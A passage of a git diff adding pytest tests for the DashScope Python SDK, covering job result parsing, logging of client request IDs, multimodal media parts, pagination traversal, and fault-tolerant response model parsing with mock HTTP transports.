["https://cdn/a.png"] + assert job.result_url == "https://cdn/a.png" + + +def test_directly_built_job_has_no_strict_mode_to_inherit(): + # Only ``from_payload`` knows the client's setting; a Job a caller + # builds by hand keeps the lenient default instead of raising. + job = Job( + task_id="task-9", + status="SUCCEEDED", + output={"results": [{"url": 12345}]}, + ) + assert [r.url for r in job.results] == [None] + + +def test_results_survives_a_retyped_results_container(): + # ``for item in 5`` would escape as a bare TypeError from a property, + # outside any ``except DashScopeError`` the caller has. + job = Job.from_payload(_job_body("SUCCEEDED", results=5)) + assert job.results == [] + + +def test_results_falls_back_to_choices_when_results_is_retyped(): + job = Job.from_payload( + { + "request_id": "req-1", + "output": { + "task_id": "task-1", + "task_status": "SUCCEEDED", + "results": "none", + "choices": [ + {"message": {"content": [{"image": "https://cdn/b.png"}]}}, + ], + }, + }, + ) + assert job.image_urls == ["https://cdn/b.png"] + + def test_create_submits_async_task(): captured = {} diff --git a/tests/legacy_1x/unit/test_layer_decoupling.py b/tests/test_layer_decoupling.py similarity index 98% rename from tests/legacy_1x/unit/test_layer_decoupling.py rename to tests/test_layer_decoupling.py index c4784c37..a10364bd 100644 --- a/tests/legacy_1x/unit/test_layer_decoupling.py +++ b/tests/test_layer_decoupling.py @@ -14,7 +14,7 @@ import importlib import pathlib -_REPO = pathlib.Path(__file__).resolve().parents[3] +_REPO = pathlib.Path(__file__).resolve().parents[1] _DASHSCOPE = _REPO / "dashscope" _SHARED = _DASHSCOPE / "_shared" _CURRENT = ( @@ -30,6 +30,7 @@ _DASHSCOPE / "resources", _DASHSCOPE / "transport", _DASHSCOPE / "types", + _DASHSCOPE / "devkit", _DASHSCOPE / "applications" / "agentstudio", _DASHSCOPE / "applications" / "finetune" / "reinforcement", ) @@ -42,6 +43,7 @@ "acli", "agentstudio", "applications", + "devkit", "finetune", "protocols", "resources", diff --git a/tests/test_logging.py b/tests/test_logging.py index 803d7072..1a61d6a9 100644 --- a/tests/test_logging.py +++ b/tests/test_logging.py @@ -362,22 +362,47 @@ def reject_result(body): assert response.is_closed -def test_pre_response_failure_log_has_no_request_id(reset_logging, caplog): +@pytest.mark.parametrize("async_mode", [False, True]) +@pytest.mark.asyncio +async def test_pre_response_failure_logs_only_client_request_id( + reset_logging, + caplog, + async_mode, +): + captured = {} + def fail(request): + captured["client_request_id"] = request.headers[ + "X-DashScope-Client-Request-Id" + ] raise httpx.ConnectError("connection refused", request=request) - with httpx.Client(transport=httpx.MockTransport(fail)) as http_client: - transport = SyncTransport( - base_url="https://api.test.local", - http_client=http_client, - max_retries=0, - ) - with caplog.at_level(logging.DEBUG, logger=logging_mod.ROOT_NAME): - with pytest.raises(APIConnectionError) as caught: - transport.request("POST", "/chat") - assert caught.value.request_id is None + mock = httpx.MockTransport(fail) + with caplog.at_level(logging.DEBUG, logger=logging_mod.ROOT_NAME): + with pytest.raises(APIConnectionError) as caught: + if async_mode: + async with httpx.AsyncClient(transport=mock) as http_client: + transport = AsyncTransport( + base_url="https://api.test.local", + http_client=http_client, + max_retries=0, + ) + await transport.request("POST", "/chat") + else: + with httpx.Client(transport=mock) as http_client: + transport = SyncTransport( + base_url="https://api.test.local", + http_client=http_client, + max_retries=0, + ) + transport.request("POST", "/chat") + assert caught.value.request_id == captured["client_request_id"] assert len(caplog.records) == 1 - assert "request_id" not in caplog.records[0].message + assert ( + f"client_request_id={captured['client_request_id']}" + in caplog.records[0].message + ) + assert " (request_id=" not in caplog.records[0].message def test_static_sse_parser_does_not_log_request_id(reset_logging, caplog): diff --git a/tests/test_multimodal.py b/tests/test_multimodal.py index 80c8c404..cfab0440 100644 --- a/tests/test_multimodal.py +++ b/tests/test_multimodal.py @@ -92,6 +92,187 @@ def _openai_response(text="A cat on a mat."): ) +def _media_response(content): + """A multimodal answer whose content carries generated media.""" + return httpx.Response( + 200, + json={ + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": content}, + }, + ], + }, + "request_id": "req-media", + }, + ) + + +def test_create_preserves_generated_image_parts(): + image_part = { + "type": "image", + "image": "https://cdn.example.com/wan27.png", + } + + def handler(request): + return _media_response([image_part]) + + client = _make_client(handler) + resp = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + ) + message = resp.choices[0].message + assert message.content is None + assert message.content_parts == [image_part] + assert resp.output_text == "" + assert message.model_dump()["content_parts"] == [image_part] + + +def test_create_keeps_text_and_media_parts_separate(): + image_part = {"image": "https://cdn.example.com/wan27.png"} + + def handler(request): + return _media_response([{"text": "done"}, image_part]) + + client = _make_client(handler) + resp = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + ) + message = resp.choices[0].message + assert message.content == "done" + assert message.content_parts == [image_part] + assert resp.output_text == "done" + + +def test_text_only_content_does_not_gain_media_parts(): + def handler(request): + return _vl_response() + + client = _make_client(handler) + resp = client.multimodal.chat.create( + model="qwen-vl-max", + messages=[{"role": "user", "content": [{"text": "describe"}]}], + ) + message = resp.choices[0].message + assert message.content == "A cat on a mat." + assert message.content_parts is None + assert "content_parts" not in message.model_dump(exclude_none=True) + + +def test_strict_validation_accepts_media_parts(): + image_part = {"image": "https://cdn.example.com/wan27.png"} + + def handler(request): + return _media_response([image_part]) + + client = _make_client(handler, strict_validation=True) + resp = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + ) + assert resp.choices[0].message.content_parts == [image_part] + + +def test_streaming_preserves_image_parts(): + image_part = {"image": "https://cdn.example.com/wan27.png"} + + def handler(request): + return httpx.Response( + 200, + headers={"Content-Type": "text/event-stream"}, + content=_sse( + [ + { + "output": { + "choices": [ + { + "index": 0, + "message": { + "role": "assistant", + "content": [image_part], + }, + }, + ], + }, + "request_id": "r", + }, + ], + ), + ) + + client = _make_client(handler) + stream = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + stream=True, + ) + chunks = list(stream) + assert chunks[0].choices[0].delta.content is None + assert chunks[0].choices[0].delta.content_parts == [image_part] + + +def test_create_accepts_directive_input_without_messages(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_client(handler) + client.multimodal.chat.create( + model="image-agent", + extra_input={"directive": "generate", "app_id": "app-1"}, + ) + assert captured["body"]["input"] == { + "directive": "generate", + "app_id": "app-1", + } + + +def test_create_allows_empty_messages_with_audio_address(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_client(handler) + client.multimodal.chat.create( + model="fun-asr", + messages=[], + parameters={"audio_address": "wss://example.com/audio"}, + ) + assert captured["body"]["input"] == {"messages": []} + assert captured["body"]["parameters"]["audio_address"] == ( + "wss://example.com/audio" + ) + + +def test_create_accepts_translation_input_fields(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_client(handler) + client.multimodal.chat.create( + model="qwen-mt-uni", + extra_input={ + "target_lang": "en", + "fileUrl": "https://example.com/source.txt", + }, + ) + assert captured["body"]["input"] == { + "target_lang": "en", + "fileUrl": "https://example.com/source.txt", + } + + def test_create_non_streaming_native(): captured = {} @@ -515,6 +696,25 @@ def handler(request): assert resp.output_text == "OK" +@pytest.mark.asyncio +async def test_async_create_accepts_extra_input_without_messages(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_async_client(handler) + await client.multimodal.chat.create( + model="qwen-mt-uni", + extra_input={"target_lang": "en", "fileUrl": "file-1"}, + ) + assert captured["body"]["input"] == { + "target_lang": "en", + "fileUrl": "file-1", + } + + @pytest.mark.asyncio async def test_async_create_non_streaming(): captured = {} diff --git a/tests/test_pagination.py b/tests/test_pagination.py new file mode 100644 index 00000000..40aca409 --- /dev/null +++ b/tests/test_pagination.py @@ -0,0 +1,471 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for the shared offset-pagination abstraction (T4).""" + +from __future__ import annotations + +import warnings +from typing import Any, Dict, List + +import httpx +import pytest + +from dashscope import AsyncClient, Client +from dashscope.resources._jobs import JobList +from dashscope.resources.files import FileList +from dashscope.resources.models import ModelList +from dashscope.types.pagination import BasePage + +BASE_URL = "https://api.test.local/api/v1" + + +def _make_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.Client(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _make_async_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +def _slice_page( + catalog: List[Dict[str, Any]], + key: str, + params: Dict[str, str], + *, + envelope: str, +) -> Dict[str, Any]: + """Build one page body for ``catalog`` from the request's query params.""" + page_no = int(params.get("page_no", 1)) + page_size = int(params.get("page_size", 10)) + start = (page_no - 1) * page_size + window = catalog[start : start + page_size] + page = { + key: window, + "page_no": page_no, + "page_size": page_size, + "total": len(catalog), + } + if envelope == "output": + return {"request_id": "req-page", "output": page} + return {"request_id": "req-page", "data": page} + + +# --- models.list (sync) --------------------------------------------------- + + +def _models_handler(catalog, seen): + def handler(request): + params = dict(request.url.params) + seen.append(int(params.get("page_no", 1))) + return httpx.Response( + 200, + json=_slice_page(catalog, "models", params, envelope="output"), + ) + + return handler + + +def test_models_iter_yields_current_page_only(): + catalog = [{"model": f"m{i}", "provider": "dashscope"} for i in range(5)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + assert [m.model for m in page] == ["m0", "m1"] + # Iterating the page does not itself fetch more pages. + assert seen == [1] + + +def test_models_iter_pages_crosses_all_pages(): + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + collected = [m.model for p in page.iter_pages() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [1, 2, 3] + + +def test_models_next_page_advances_then_ends(): + catalog = [{"model": f"m{i}"} for i in range(3)] + client = _make_client(_models_handler(catalog, [])) + + first = client.models.list(page_no=1, page_size=2) + assert first.has_next_page() is True + second = first.next_page() + assert second is not None + assert second.page_no == 2 + assert [m.model for m in second] == ["m2"] + assert second.has_next_page() is False + assert second.next_page() is None + + +def test_models_boundary_exact_multiple_of_page_size(): + catalog = [{"model": f"m{i}"} for i in range(4)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + pages = list(page.iter_pages()) + assert [p.page_no for p in pages] == [1, 2] + assert seen == [1, 2] + + +def test_models_boundary_partial_last_page(): + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_client(_models_handler(catalog, [])) + + page = client.models.list(page_no=1, page_size=2) + pages = list(page.iter_pages()) + assert [len(p.models) for p in pages] == [2, 2, 1] + + +def test_models_boundary_empty_catalog(): + seen: List[int] = [] + client = _make_client(_models_handler([], seen)) + + page = client.models.list(page_no=1, page_size=10) + assert page.total_count == 0 + assert page.has_next_page() is False + assert list(page.iter_pages()) == [page] + assert seen == [1] + + +def test_models_provider_filter_applies_per_page_only(): + # total_count stays the pre-filter catalog total; the filter narrows only + # the items on each fetched page. + catalog = [ + {"model": "a", "provider": "dashscope"}, + {"model": "b", "provider": "other"}, + {"model": "c", "provider": "dashscope"}, + {"model": "d", "provider": "other"}, + ] + client = _make_client(_models_handler(catalog, [])) + + page = client.models.list(page_no=1, page_size=2, provider="dashscope") + assert page.total_count == 4 # unfiltered + assert [m.model for m in page] == ["a"] + + all_filtered = [m.model for p in page.iter_pages() for m in p] + assert all_filtered == ["a", "c"] + + +def test_model_dump_excludes_callback(): + catalog = [{"model": "m0"}] + client = _make_client(_models_handler(catalog, [])) + page = client.models.list(page_no=1, page_size=10) + + dumped = page.model_dump() + assert "_fetch_next" not in dumped + assert not any(k.startswith("_") for k in dumped) + assert dumped["models"] == [ + { + "request_id": None, + "status_code": None, + "code": None, + "message": None, + "is_error": False, + "headers": {}, + "model": "m0", + "source": None, + "provider": None, + "open_source": None, + }, + ] + + +def test_base_page_without_callback_cannot_advance(): + # has_next_page() is pure arithmetic and stays true, but next_page() needs + # an injected callback, so a standalone page cannot fetch. + page = ModelList(page_no=1, page_size=2, total_count=5) + assert page.has_next_page() is True + assert page.next_page() is None + + +def test_list_models_share_base_page(): + for cls in (ModelList, FileList, JobList): + assert issubclass(cls, BasePage) + # The default items view is empty until a subclass maps its own list. + assert BasePage().items == [] + + +def test_base_page_accepts_the_wire_total_alias(): + # The alias lives on BasePage so every list model inherits it, and a page + # parsed straight from a body traverses instead of reading a zero total. + for cls in (ModelList, FileList, JobList): + assert cls.model_validate({"total": 7}).total_count == 7 + + +def _models_handler_no_echo(catalog, seen): + """A gateway that reports ``total`` but echoes neither offset field.""" + + def handler(request): + params = dict(request.url.params) + page_no = int(params.get("page_no", 1)) + page_size = int(params.get("page_size", 10)) + seen.append((page_no, page_size)) + # Turn a cursor regression into a failure instead of a hang. + assert len(seen) <= 20, f"traversal did not terminate: {seen}" + start = (page_no - 1) * page_size + return httpx.Response( + 200, + json={ + "request_id": "req-page", + "output": { + "models": catalog[start : start + page_size], + "total": len(catalog), + }, + }, + ) + + return handler + + +def test_traversal_advances_when_the_gateway_omits_the_offset_echo(): + # With no echo every page parses at the ``page_no`` / ``page_size`` + # defaults, so advancing from the parsed fields would re-request page 2 + # forever. The resource binds the offsets it actually sent, and those + # drive the cursor. + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[Any] = [] + client = _make_client(_models_handler_no_echo(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + collected = [m.model for p in page.iter_pages() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [(1, 2), (2, 2), (3, 2)] + + +def test_bound_offsets_override_the_parsed_echo(): + page = ModelList.model_validate( + {"page_no": 1, "page_size": 10, "total": 200}, + ) + calls: List[Any] = [] + page.bind_pagination( + lambda no, size: calls.append((no, size)), + requested_page_no=4, + requested_page_size=25, + ) + + page.next_page() + + assert calls == [(5, 25)] + + +def test_bound_offsets_decide_when_the_list_is_exhausted(): + # 4 * 25 == 100 == total, so the bound offsets read as the last page + # even though the parsed defaults (1 * 10) would not. + page = ModelList.model_validate( + {"page_no": 1, "page_size": 10, "total": 100}, + ) + calls: List[Any] = [] + page.bind_pagination( + lambda no, size: calls.append((no, size)), + requested_page_no=4, + requested_page_size=25, + ) + + assert page.has_next_page() is False + assert page.next_page() is None + assert calls == [] + + +# --- models.list (async) -------------------------------------------------- + + +@pytest.mark.asyncio +async def test_models_async_iter_pages(): + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[int] = [] + client = _make_async_client(_models_handler(catalog, seen)) + + page = await client.models.list(page_no=1, page_size=2) + collected = [m.model async for p in page.iter_pages_async() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [1, 2, 3] + + +@pytest.mark.asyncio +async def test_models_async_traversal_advances_without_the_offset_echo(): + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[Any] = [] + client = _make_async_client(_models_handler_no_echo(catalog, seen)) + + page = await client.models.list(page_no=1, page_size=2) + collected = [m.model async for p in page.iter_pages_async() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [(1, 2), (2, 2), (3, 2)] + + +@pytest.mark.asyncio +async def test_models_async_next_page_ends(): + catalog = [{"model": f"m{i}"} for i in range(3)] + client = _make_async_client(_models_handler(catalog, [])) + + first = await client.models.list(page_no=1, page_size=2) + second = await first.next_page_async() + assert second is not None and second.page_no == 2 + assert await second.next_page_async() is None + + +@pytest.mark.asyncio +async def test_models_async_iter_current_page(): + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_async_client(_models_handler(catalog, [])) + + page = await client.models.list(page_no=1, page_size=2) + assert [m.model async for m in page] == ["m0", "m1"] + + +@pytest.mark.asyncio +async def test_models_async_page_rejects_sync_next_page(): + # One BasePage serves both clients, so nothing static stops a caller + # from pairing an async-fetched page with the sync traversal. The + # resource binds a closure, not the coroutine function itself, so the + # refusal has to come from the un-awaited result rather than from + # inspecting the callback. + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_async_client(_models_handler(catalog, [])) + + page = await client.models.list(page_no=1, page_size=2) + with pytest.raises(TypeError, match="next_page_async"): + page.next_page() + + +@pytest.mark.asyncio +async def test_models_async_page_rejects_sync_iter_pages(): + # Same refusal, reached through the generator: consuming it must raise + # the actionable TypeError rather than an AttributeError on a coroutine. + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_async_client(_models_handler(catalog, [])) + + page = await client.models.list(page_no=1, page_size=2) + with pytest.raises(TypeError, match="iter_pages_async"): + list(page.iter_pages()) + + +def test_sync_page_next_page_leaves_no_unawaited_coroutine(): + # The guard closes the coroutine it rejects, so a mis-traversal does not + # also leak "coroutine ... was never awaited" into the test run. + page = ModelList(models=[], page_no=1, page_size=1, total_count=5) + + async def fetch(page_no, page_size): + return ModelList( + models=[], + page_no=page_no, + page_size=1, + total_count=5, + ) + + page.bind_pagination(fetch) + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + with pytest.raises(TypeError, match="next_page_async"): + page.next_page() + assert not [w for w in caught if issubclass(w.category, RuntimeWarning)] + + +def test_sync_page_next_page_still_advances(): + # The async guard must not trip on a plain callable. + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + second = page.next_page() + assert second is not None and second.page_no == 2 + assert seen == [1, 2] + + +# --- files.list (sync) ---------------------------------------------------- + + +def test_files_iter_pages(): + catalog = [{"file_id": f"f{i}", "name": f"f{i}.jsonl"} for i in range(3)] + + def handler(request): + params = dict(request.url.params) + return httpx.Response( + 200, + json=_slice_page(catalog, "files", params, envelope="data"), + ) + + client = _make_client(handler) + page = client.files.list(page_no=1, page_size=2) + assert isinstance(page, FileList) + assert [f.file_id for p in page.iter_pages() for f in p] == [ + "f0", + "f1", + "f2", + ] + + +# --- jobs.list (sync) ----------------------------------------------------- + + +def test_jobs_list_total_alias_and_traversal(): + catalog = [ + {"task_id": f"t{i}", "task_status": "SUCCEEDED"} for i in range(5) + ] + seen: List[int] = [] + + def handler(request): + params = dict(request.url.params) + seen.append(int(params.get("page_no", 1))) + page_no = int(params.get("page_no", 1)) + page_size = int(params.get("page_size", 10)) + start = (page_no - 1) * page_size + return httpx.Response( + 200, + json={ + "request_id": "req-jobs", + "tasks": catalog[start : start + page_size], + "page_no": page_no, + "page_size": page_size, + "total": len(catalog), + }, + ) + + client = _make_client(handler) + page = client.images.jobs.list(page_no=1, page_size=2) + + assert isinstance(page, JobList) + # Wire ``total`` is surfaced as ``total_count`` and via the ``total`` prop. + assert page.total_count == 5 + assert page.total == 5 + assert page.has_next_page() is True + + collected = [t.task_id for p in page.iter_pages() for t in p] + assert collected == ["t0", "t1", "t2", "t3", "t4"] + assert seen == [1, 2, 3] + + +def test_jobs_list_model_dump_uses_total_count(): + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-jobs", + "tasks": [], + "page_no": 1, + "page_size": 10, + "total": 0, + }, + ) + + client = _make_client(handler) + page = client.images.jobs.list() + dumped = page.model_dump() + assert "total_count" in dumped + assert "_fetch_next" not in dumped diff --git a/tests/test_parse_model.py b/tests/test_parse_model.py new file mode 100644 index 00000000..c7aaa3c6 --- /dev/null +++ b/tests/test_parse_model.py @@ -0,0 +1,457 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for fault-tolerant response parsing (T2).""" + +# pytest fixture injection looks like unused/redefined names to pylint. +# pylint: disable=redefined-outer-name,unused-argument + +from __future__ import annotations + +import logging +from typing import Optional + +import httpx +import pytest +from pydantic import AliasChoices, BaseModel, ConfigDict, Field +from pydantic import ValidationError, model_validator + +from dashscope.errors import APIResponseValidationError, DashScopeError +from dashscope.resources.models import Model +from dashscope.types._parse import parse_model +from dashscope.types.common import Usage +from dashscope.types.completions import ( + ChatCompletion, + ChatCompletionMessage, + Choice, +) +from dashscope.types.messages import TextPart, ToolCall + + +def _resp(status, body=None, headers=None): + return httpx.Response( + status, + json=body, + headers=headers or {}, + request=httpx.Request("POST", "https://api.test.local/x"), + ) + + +def _completion(**overrides): + body = { + "request_id": "req-1", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "hi"}, + }, + ], + } + body.update(overrides) + return body + + +# -------------------------------------------------------------------------- +# Happy path +# -------------------------------------------------------------------------- + + +def test_a_wellformed_body_parses_exactly_as_plain_validation(): + body = _completion(usage={"input_tokens": 3, "output_tokens": 4}) + assert parse_model(ChatCompletion, body) == ( + ChatCompletion.model_validate(body) + ) + + +def test_a_wellformed_body_logs_no_drift(caplog): + # The degraded path has to stay invisible when nothing drifted, or + # the debug record stops meaning anything. + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + parse_model(ChatCompletion, _completion()) + drift = [r for r in caplog.records if "response drift" in r.getMessage()] + assert not drift + + +# -------------------------------------------------------------------------- +# Degradation: the crash this exists to prevent +# -------------------------------------------------------------------------- + + +def test_field_type_drift_degrades_instead_of_raising(): + # ``usage`` arrives as a string: before this, a bare ChatCompletion() + # let a raw pydantic ValidationError escape to the caller. + body = _completion(usage="unlimited") + parsed = parse_model(ChatCompletion, body) + assert parsed.usage is None + # Everything healthy still parsed. + assert parsed.request_id == "req-1" + assert parsed.output_text == "hi" + + +def test_several_drifted_fields_are_all_repaired_in_one_pass(): + body = _completion(usage="unlimited", search_info="none", model=7) + body["choices"][0]["index"] = "zero" + parsed = parse_model(ChatCompletion, body) + assert parsed.usage is None + assert parsed.search_info is None + assert parsed.model is None + assert parsed.choices[0].index == 0 + assert parsed.output_text == "hi" + + +def test_a_degraded_parse_keeps_nested_models_as_instances(): + # ``model_construct`` would leave ``usage`` a plain dict, so + # ``parsed.usage.input_tokens`` raises AttributeError on an object + # whose healthy twin has a Usage there. + parsed = parse_model( + ChatCompletion, + _completion(usage={"input_tokens": "many", "output_tokens": 5}), + ) + assert isinstance(parsed.usage, Usage) + assert parsed.usage.output_tokens == 5 + assert parsed.usage.input_tokens == 0 + + +def test_a_missing_required_nested_field_becomes_a_zeroed_instance(): + # Choice.message is required; a server that drops it must not turn + # every downstream ``.message.role`` read into an AttributeError. + parsed = parse_model(Choice, {"index": 0}) + assert isinstance(parsed.message, ChatCompletionMessage) + assert parsed.message.role == "assistant" + + +def test_the_business_error_flag_survives_a_degraded_parse(): + # ``is_error`` comes from a mode="after" validator. Skipping it would + # let a degraded error response masquerade as a success, which is + # worse than the crash this path replaces. + parsed = parse_model( + ChatCompletion, + { + "request_id": "req-1", + "code": "InvalidParameter", + "message": "bad", + "usage": "unlimited", + }, + ) + assert parsed.is_error is True + assert parsed.code == "InvalidParameter" + + +def test_list_elements_are_repaired_in_place_keeping_every_index(): + # Callers merge tool calls by position, so a dropped element would + # silently misalign the ones after it. + good = {"id": "1", "type": "function", "function": {"name": "f"}} + parsed = parse_model( + ChatCompletion, + _completion( + choices=[ + { + "index": 0, + "message": { + "role": "assistant", + "tool_calls": [good, 5, good], + }, + }, + ], + ), + ) + calls = parsed.choices[0].message.tool_calls + assert len(calls) == 3 + assert calls[0].function.name == "f" + assert calls[2].function.name == "f" + # The repaired slot is a real model at its original index, not a + # hole the two healthy calls collapsed into. + assert isinstance(calls[1], ToolCall) + assert calls[1].function.name is None + + +def test_two_drifted_siblings_keep_the_healthy_third(): + # Repairing ``usage.input_tokens`` yields a Usage instance; the second + # error on the same root must not then mistake that instance for + # unrepairable input and throw the whole bag -- healthy + # ``total_tokens`` included -- away. + parsed = parse_model( + ChatCompletion, + _completion( + usage={ + "input_tokens": "many", + "output_tokens": "lots", + "total_tokens": 9, + }, + ), + ) + assert isinstance(parsed.usage, Usage) + assert parsed.usage.total_tokens == 9 + assert (parsed.usage.input_tokens, parsed.usage.output_tokens) == (0, 0) + + +def test_two_drifted_elements_keep_their_healthy_neighbours(): + parsed = parse_model( + ChatCompletion, + _completion( + choices=[ + { + "index": "zero", + "message": {"role": "assistant", "content": "a"}, + }, + {"index": 1, "message": {"role": "assistant", "content": "b"}}, + {"index": 2, "message": {"role": "assistant", "content": 3}}, + ], + ), + ) + assert [c.message.content for c in parsed.choices] == ["a", "b", None] + assert [c.index for c in parsed.choices] == [0, 1, 2] + + +def test_a_nested_missing_field_keeps_its_healthy_siblings(): + # The gap is at ``choices[1].message``. Zeroing the whole ``choices`` + # root would discard the element pydantic had already accepted. + parsed = parse_model( + ChatCompletion, + _completion( + choices=[ + { + "index": 0, + "message": {"role": "assistant", "content": "keep"}, + }, + {"index": 1}, + ], + ), + ) + assert len(parsed.choices) == 2 + assert parsed.choices[0].message.content == "keep" + assert parsed.choices[1].index == 1 + assert parsed.choices[1].message.role == "assistant" + + +def test_a_non_mapping_body_degrades_instead_of_raising(): + # ``dict(data)`` on a string raised ValueError and on a number + # TypeError, and it did so in strict mode too -- ahead of the + # validation error strict mode promises. + for body in ("a string", 42, None): + parsed = parse_model(ChatCompletion, body) + assert isinstance(parsed, ChatCompletion) + assert parsed.request_id is None + assert parsed.choices == [] + + +def test_a_non_mapping_body_reports_a_validation_error_in_strict_mode(): + with pytest.raises(APIResponseValidationError) as caught: + parse_model( + ChatCompletion, + "a string", + strict=True, + response=_resp(200), + ) + assert caught.value.body == "a string" + assert caught.value.response.status_code == 200 + + +def test_extra_fields_survive_a_degraded_parse(): + parsed = parse_model( + ChatCompletion, + _completion(usage="unlimited", provider_new_field={"x": 1}), + ) + assert parsed.model_extra["provider_new_field"] == {"x": 1} + assert parsed.provider_new_field == {"x": 1} + + +def test_drift_on_an_aliased_field_is_repaired(): + # ValidationError reports the alias it read (``open_source``), not the + # field name, so resolving the location needs pydantic's aliasing + # reversed. Both spellings of the alias are covered. + assert parse_model(Model, {"open_source": "not-a-bool"}).open_source is ( + None + ) + assert parse_model(Model, {"opensource": "not-a-bool"}).open_source is ( + None + ) + + +# -------------------------------------------------------------------------- +# Stage 3: cross-field invariants that re-validation cannot satisfy +# -------------------------------------------------------------------------- + + +class _CrossField(BaseModel): + model_config = ConfigDict(extra="allow") + + low: int = 0 + high: int = 0 + flagged: bool = False + + @model_validator(mode="after") + def _ordered(self) -> "_CrossField": + if self.low > self.high: + raise ValueError("low must not exceed high") + self.flagged = True + return self + + +class _AliasedCrossField(BaseModel): + """Stage 3 with an aliased field, to pin how the wire spelling lands.""" + + model_config = ConfigDict(extra="allow") + + low: int = 0 + high: int = 0 + open_source: Optional[bool] = Field( + None, + validation_alias=AliasChoices("open_source", "opensource"), + ) + + @model_validator(mode="after") + def _ordered(self) -> "_AliasedCrossField": + if self.low > self.high: + raise ValueError("low must not exceed high") + return self + + +class _BeforeAlwaysFails(BaseModel): + """Forces stage 3: no validation pass can ever succeed.""" + + model_config = ConfigDict(extra="allow") + + code: Optional[str] = None + is_error: bool = False + + @model_validator(mode="before") + @classmethod + def _refuse(cls, value): + raise ValueError("before validators are never re-run") + + @model_validator(mode="after") + def _flag(self) -> "_BeforeAlwaysFails": + if self.code: + self.is_error = True + return self + + +def test_a_cross_field_invariant_falls_back_to_construct(): + # Each field is individually valid, so repairing cannot help; the + # body is still worth keeping rather than losing. + parsed = parse_model(_CrossField, {"low": 5, "high": 1, "extra": "kept"}) + assert parsed.low == 5 + assert parsed.high == 1 + assert parsed.model_extra == {"extra": "kept"} + + +def test_a_degraded_alias_is_not_also_kept_as_an_extra(): + # ``model_construct`` ignores aliases, so the wire spelling is renamed + # onto its field. Keeping the original key as an extra as well made + # ``model_dump()`` emit the value twice (``open_source`` *and* + # ``opensource``), which no longer round-trips into a model that + # forbids extras. + parsed = parse_model( + _AliasedCrossField, + {"low": 5, "high": 1, "opensource": True}, + ) + assert parsed.open_source is True + assert "opensource" not in parsed.model_dump() + assert parsed.model_extra == {} + + +def test_a_degraded_alias_shadowed_by_the_field_name_stays_an_extra(): + # The direct field name wins the slot, and a *conflicting* wire spelling + # is then genuinely extra data -- folding it away would lose what the + # server actually sent. + parsed = parse_model( + _AliasedCrossField, + {"low": 5, "high": 1, "open_source": False, "opensource": True}, + ) + assert parsed.open_source is False + assert parsed.model_extra == {"opensource": True} + + +def test_an_after_validator_that_still_fails_does_not_raise(): + # The invariant is genuinely violated by this body, so re-running it + # fails again; a degraded parse logs that instead of raising. + assert parse_model(_CrossField, {"low": 5, "high": 1}).flagged is False + + +def test_the_construct_fallback_reruns_after_validators(): + # Proof the fallback restores the state ``model_construct`` skips: + # the before-validator is deliberately not re-run (it transforms raw + # input), while the after-validator's effect is present. + parsed = parse_model(_BeforeAlwaysFails, {"code": "InvalidParameter"}) + assert parsed.code == "InvalidParameter" + assert parsed.is_error is True + + +# -------------------------------------------------------------------------- +# strict mode +# -------------------------------------------------------------------------- + + +def test_strict_raises_api_response_validation_error_carrying_the_body(): + body = _completion(usage="unlimited") + response = _resp(200, body, {"x-request-id": "header-id"}) + with pytest.raises(APIResponseValidationError) as caught: + parse_model(ChatCompletion, body, strict=True, response=response) + err = caught.value + assert err.body == body + assert isinstance(err.cause, ValidationError) + assert err.response is response + # request_id comes from the body first, the header second. + assert err.request_id == "req-1" + + +def test_a_strict_failure_is_catchable_as_a_dashscope_error(): + # The whole point of raising the catalogued class instead of letting + # pydantic escape: one except clause covers it. + with pytest.raises(DashScopeError): + 